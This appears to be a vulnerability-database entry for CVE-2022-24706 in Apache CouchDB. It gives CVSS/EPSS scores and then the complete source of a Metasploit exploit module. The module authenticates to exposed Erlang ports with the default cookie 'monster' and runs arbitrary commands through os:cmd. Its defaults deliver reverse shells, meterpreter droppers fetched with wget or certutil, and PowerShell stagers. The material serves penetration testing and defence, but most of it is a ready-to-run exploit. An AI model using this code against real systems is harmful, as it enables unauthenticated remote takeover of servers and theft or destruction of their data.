9.8 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
10 High
CVSS2
Access Vector
NETWORK
Access Complexity
LOW
Authentication
NONE
Confidentiality Impact
COMPLETE
Integrity Impact
COMPLETE
Availability Impact
COMPLETE
AV:N/AC:L/Au:N/C:C/I:C/A:C
0.975 High
EPSS
Percentile
100.0%
In Apache CouchDB versions prior to 3.2.2, an attacker can access an improperly secured default installation without authenticating and gain admin privileges.
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::CmdStager
include Msf::Exploit::Retry
include Msf::Exploit::Powershell
prepend Msf::Exploit::Remote::AutoCheck
require 'msf/core/exploit/powershell'
require 'digest'
# Constants required for communicating over the Erlang protocol defined here:
# https://www.erlang.org/doc/apps/erts/erl_dist_protocol.html
EPM_NAME_CMD = "\x00\x01\x6e".freeze
NAME_MSG = "\x00\x15n\x00\x07\x00\x03\x49\x9cAAAAAA@AAAAAAA".freeze
CHALLENGE_REPLY = "\x00\x15r\x01\x02\x03\x04".freeze
CTRL_DATA = "\x83h\x04a\x06gw\x0eAAAAAA@AAAAAAA\x00\x00\x00\x03\x00\x00\x00\x00\x00w\x00w\x03rex".freeze
COOKIE = 'monster'.freeze
COMMAND_PREFIX = "\x83h\x02gw\x0eAAAAAA@AAAAAAA\x00\x00\x00\x03\x00\x00\x00\x00\x00h\x05w\x04callw\x02osw\x03cmdl\x00\x00\x00\x01k".freeze
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Apache Couchdb Erlang RCE',
'Description' => %q{
In Apache CouchDB prior to 3.2.2, an attacker can access an improperly secured default installation without
authenticating and gain admin privileges.
},
'Author' => [
'Milton Valencia (wetw0rk)', # Erlang Cookie RCE discovery
'1F98D', # Erlang Cookie RCE exploit
'Konstantin Burov', # Apache CouchDB Erlang Cookie exploit
'_sadshade', # Apache CouchDB Erlang Cookie exploit
'jheysel-r7', # Msf Module
],
'References' => [
[ 'EDB', '49418' ],
[ 'URL', 'https://github.com/sadshade/CVE-2022-24706-CouchDB-Exploit'],
[ 'CVE', '2022-24706'],
],
'License' => MSF_LICENSE,
'Platform' => ['win', 'linux'],
'Payload' => {
'MaxSize' => 60000 # Due to the 16-bit nature of the cmd in the compile_cmd method
},
'Privileged' => false,
'Arch' => [ ARCH_CMD ],
'Targets' => [
[
'Unix Command',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_cmd,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/reverse_openssl'
}
}
],
[
'Linux Dropper',
{
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :linux_dropper,
'CmdStagerFlavor' => :wget,
'DefaultOptions' => {
'PAYLOAD' => 'linux/x86/meterpreter_reverse_tcp'
}
}
],
[
'Windows Command',
{
'Platform' => 'win',
'Arch' => ARCH_CMD,
'Type' => :win_cmd,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/windows/powershell_reverse_tcp'
}
}
],
[
'Windows Dropper',
{
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :win_dropper,
'CmdStagerFlavor' => :certutil,
'DefaultOptions' => {
'PAYLOAD' => 'windows/x64/meterpreter_reverse_tcp'
}
}
],
[
'PowerShell Stager',
{
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :psh_stager,
'CmdStagerFlavor' => :certutil,
'DefaultOptions' => {
'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'
}
}
]
],
'DefaultTarget' => 0,
'DisclosureDate' => '2022-01-21',
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
),
)
register_options(
[
Opt::RPORT(4369)
]
)
end
def check
erlang_ports = get_erlang_ports
# If get_erlang_ports does not return an array of port numbers, the target is not vulnerable.
return Exploit::CheckCode::Safe('This endpoint does not appear to expose any erlang ports') if erlang_ports.empty?
erlang_ports.each do |erlang_port|
# If connect_to_erlang_server returns a socket, it means authentication with the default cookie has been
# successful and the target as well as the specific socket used in this instance is vulnerable
sock = connect_to_erlang_server(erlang_port.to_i)
if sock.instance_of?(Socket)
@vulnerable_socket = sock
return Exploit::CheckCode::Vulnerable('Successfully connected to the Erlang Server with cookie: "monster"')
else
next
end
end
Exploit::CheckCode::Safe('This endpoint has an exposed erlang port(s) but appears to be a patched')
end
# Connect to the Erlang Port Mapper Daemon to collect port numbers of running Erlang servers
#
# @return [Array] An array of port numbers for discovered Erlang Servers.
def get_erlang_ports
erlang_ports = []
begin
print_status("Attempting to connect to the Erlang Port Mapper Daemon (EDPM) socket at: #{datastore['RHOSTS']}:#{datastore['RPORT']}...")
connect(true, { 'RHOST' => datastore['RHOSTS'], 'RPORT' => datastore['RPORT'] })
# request Erlang nodes
sock.put(EPM_NAME_CMD)
sleep datastore['WfsDelay']
res = sock.get_once
unless res && res.include?("\x00\x00\x11\x11name couchdb")
print_error('Did not find any Erlang nodes')
return erlang_ports
end
print_status('Successfully found EDPM socket')
res.each_line do |line|
erlang_ports << line.match(/\s(\d+$)/)[0]
end
rescue ::Rex::ConnectionError, ::EOFError, ::Errno::ECONNRESET => e
print_error("Error connecting to EDPM: #{e.class} #{e}")
disconnect
return erlang_ports
end
erlang_ports
end
# Attempts to connect to an erlang server with a default erlang cookie of 'monster', which is the
# default erlang cookie value in Apache CouchDB installations before 3.2.2
#
# @return [Socket] Returns a socket that is connected and already authenticated to the vulnerable Apache CouchDB Erlang Server
def connect_to_erlang_server(erlang_port)
print_status('Attempting to connect to the Erlang Server with an Erlang Server Cookie value of "monster" (default in vulnerable instances of Apache CouchDB)...')
connect(true, { 'RHOST' => datastore['RHOSTS'], 'RPORT' => erlang_port })
print_status('Connection successful')
challenge = retry_until_truthy(timeout: 60) do
sock.put(NAME_MSG)
sock.get_once(5) # ok message
sock.get_once
end
# The expected successful response from the target should start with \x00\x1C
unless challenge && challenge.include?("\x00\x1C")
print_error('Connecting to the Erlang server was unsuccessful')
return
end
challenge = challenge[9..12].unpack('N*')[0]
challenge_reply = "\x00\x15r\x01\x02\x03\x04"
md5 = Digest::MD5.new
md5.update(COOKIE + challenge.to_s)
challenge_reply << [md5.hexdigest].pack('H*')
sock.put(challenge_reply)
sleep datastore['WfsDelay']
challenge_response = sock.get_once
if challenge_response.nil?
print_error('Authentication was unsuccessful')
return
end
print_status('Erlang challenge and response completed successfully')
sock
rescue ::Rex::ConnectionError, ::EOFError, ::Errno::ECONNRESET => e
print_error("Error when connecting to Erlang Server: #{e.class} #{e} ")
disconnect
return
end
def compile_cmd(cmd)
msg = ''
msg << COMMAND_PREFIX
msg << [cmd.length].pack('S>')
msg << cmd
msg << "jw\x04user"
payload = ("\x70" + CTRL_DATA + msg)
([payload.size].pack('N*') + payload)
end
def execute_command(cmd, opts = {})
payload = compile_cmd(cmd)
print_status('Sending payload... ')
opts[:sock].put(payload)
sleep datastore['WfsDelay']
end
def exploit_socket(sock)
case target['Type']
when :unix_cmd, :win_cmd
execute_command(payload.encoded, { sock: sock })
when :linux_dropper, :win_dropper
execute_cmdstager({ sock: sock })
when :psh_stager
execute_command(cmd_psh_payload(payload.encoded, payload_instance.arch.first), { sock: sock })
else
fail_with(Failure::BadConfig, 'Invalid target specified')
end
end
def exploit
# If the check method has already been run, use the vulnerable socket that has already been identified
if @vulnerable_socket
exploit_socket(@vulnerable_socket)
else
erlang_ports = get_erlang_ports
fail_with(Failure::BadConfig, 'This endpoint does not appear to expose any erlang ports') unless erlang_ports.instance_of?(Array)
erlang_ports.each do |erlang_port|
sock = connect_to_erlang_server(erlang_port.to_i)
next unless sock.instance_of?(Socket)
exploit_socket(sock)
end
end
end
end
9.8 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
10 High
CVSS2
Access Vector
NETWORK
Access Complexity
LOW
Authentication
NONE
Confidentiality Impact
COMPLETE
Integrity Impact
COMPLETE
Availability Impact
COMPLETE
AV:N/AC:L/Au:N/C:C/I:C/A:C
0.975 High
EPSS
Percentile
100.0%